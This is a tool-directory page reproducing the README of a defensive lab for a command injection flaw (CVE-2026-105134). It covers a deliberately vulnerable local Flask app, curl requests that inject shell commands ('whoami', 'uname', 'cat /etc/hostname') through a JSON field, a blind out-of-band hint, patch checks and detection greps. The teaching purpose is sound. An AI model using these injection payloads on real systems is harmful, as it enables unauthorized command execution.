Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-105134-lab — Educational lab and clean-room reproduction demonstrating the OS command injection pattern in CVE-2026-105134. For defensive research only. | Kitploit
Tools/GitHubGitHub/rayanalmulhim/cve-2026-105134-lab
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityLearning & EducationLabs & Practice
GitHubrayanalmulhim/cve-2026-105134-lab

CVE-2026-105134-lab

Educational lab and clean-room reproduction demonstrating the OS command injection pattern in CVE-2026-105134. For defensive research only.

View Repository
1 month agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    897
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    853
  • 3

    wifit3

    derv82/wifit3

    Wifite but USB-only & cross-platform.

    668
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer is an open-source Privileged Access Management (PAM) platform that provides DevOps and IT teams with on-demand and secure access to SSH, RDP, Kubernetes, Database and RemoteApp endpoints through a web browser.

    448
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    417
  • 6

    SafeLine

    chaitin/safeline

    Self-hosted WAF and reverse proxy that filters malicious HTTP traffic, blocks SQL injection, XSS, and bot attacks, with rate limiting and dynamic HTML/JS encryption.

    400

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-105134-style OS Command Injection Lab

A minimal, self-contained Flask lab modeling the pattern behind CVE-2026-105134 (Ahsay AhsayCBS, Replication Receiver, /rps/api/json/UpdateReceivers.do, injection via the random parameter).

This is not the real AhsayCBS code - it's a small reproduction of the same bug class (unsanitized input passed to a shell command) so you can practice identifying, exploiting (safely, locally), detecting, and patching this vulnerability type.

Safety

  • Run only on 127.0.0.1 inside a VM, container, or disposable sandbox.
  • Never expose this on a real network or the internet.
  • app.py is intentionally vulnerable. patched_app.py is the fixed version.

Setup

python3 -m venv venv
source venv/bin/activate
pip install flask
python app.py        # vulnerable version, port 5000
# in another shell/terminal:
python patched_app.py # patched version, port 5001

Normal (benign) request

curl -s -X POST http://127.0.0.1:5000/rps/api/json/UpdateReceivers.do \
  -H "Content-Type: application/json" \
  -d '{"receiver_id": "node1", "random": "abc123"}'

Exploiting the vulnerable endpoint

The random field is dropped straight into a shell string. Classic injection via command separators/backticks works:

# Command chaining
curl -s -X POST http://127.0.0.1:5000/rps/api/json/UpdateReceivers.do \
  -H "Content-Type: application/json" \
  -d '{"receiver_id": "node1", "random": "x; whoami; id #"}'

# Command substitution
curl -s -X POST http://127.0.0.1:5000/rps/api/json/UpdateReceivers.do \
  -H "Content-Type: application/json" \
  -d '{"receiver_id": "node1", "random": "x$(uname -a) #"}'

# Reading a file out through stdout
curl -s -X POST http://127.0.0.1:5000/rps/api/json/UpdateReceivers.do \
  -H "Content-Type: application/json" \
  -d '{"receiver_id": "node1", "random": "x; cat /etc/hostname #"}'

The response JSON's stdout/stderr fields will reflect the injected command's output - in a real-world attack this would just be a blind or out-of-band command execution with no echoed output, so also try a blind check (for example sleep 5 and time the response, or trigger an outbound curl/DNS request to a server you control).

Confirming the patch holds

Repeat the same requests against port 5001 (patched_app.py). You should get HTTP 400 "invalid random token" instead of command execution, because:

  • No shell=True / no string built for a shell at all.
  • Strict allowlist regex validation on both random and receiver_id.
  • The file write happens directly in Python, never through a subprocess.

Detection ideas (blue team side)

  • Log and alert on random/parameter values containing shell metacharacters: ; | & $ ( ) \ > < \n`. Example (grep against access/app logs):
    grep -E '"random":\s*"[^"]*[;&|$()`]' app.log
    
  • Monitor for child processes spawned by the web service process ( sh, bash, whoami, curl, wget launched by python/java/ the app's worker process) - this is a strong indicator of command injection regardless of which parameter was abused.
  • Rate-limit and auth-gate any backup/replication management endpoints; don't expose them to the open internet.

Why this class of bug happens

  • Building a shell command by string interpolation (f-strings, +, .format()) with any user-controlled value, then calling it with shell=True (Python), exec()/system() (PHP), Runtime.exec() with a single string (Java), or backticks/`cmd` in shell scripts.
  • The fix is never "sanitize harder" - it's to avoid the shell entirely: pass arguments as a list/array to the subprocess call, or avoid shelling out altogether when a native library call will do (as the patched version does by writing the file directly in Python).

Credits & Sources

This lab is an independent, clean-room reproduction built to study the pattern of CVE-2026-105134. No code from Ahsay AhsayCBS is included or was referenced - only the public vulnerability description below.

  • CVE record (MITRE): https://www.cve.org/CVERecord?id=CVE-2026-105134
  • NVD entry: https://nvd.nist.gov/vuln/detail/CVE-2026-105134
  • CNA / originating report: VulDB, entry VDB-413351 - https://vuldb.com/cve/CVE-2026-105134
  • CWE classification: CWE-77 / CWE-78 (OS Command Injection)

At the time this lab was written, the public CVE record credits VulDB as the assigning CNA and does not list an individual researcher's name or handle. If Ahsay or another authoritative source later publishes a named credit for the original finder, this section should be updated to reflect that.

Disclaimer

  • This repository is for educational and defensive security research only - to help people recognize, reproduce safely in an isolated lab, detect, and patch this class of vulnerability (OS command injection).
  • It is not a working exploit against the real AhsayCBS product, and it is not affiliated with, endorsed by, or sourced from Ahsay in any way.
  • I (Rayan), the author of this repository, am not responsible for any misuse of this code. Do not run it against any system you do not own or do not have explicit written authorization to test. Using this material against systems without authorization is illegal in most jurisdictions.
  • By using this repository, you agree that you are solely responsible for how you use it, and that it is provided "as is," without warranty of any kind.

License

This project is licensed under the MIT License - see the LICENSE file for details.

Download Tool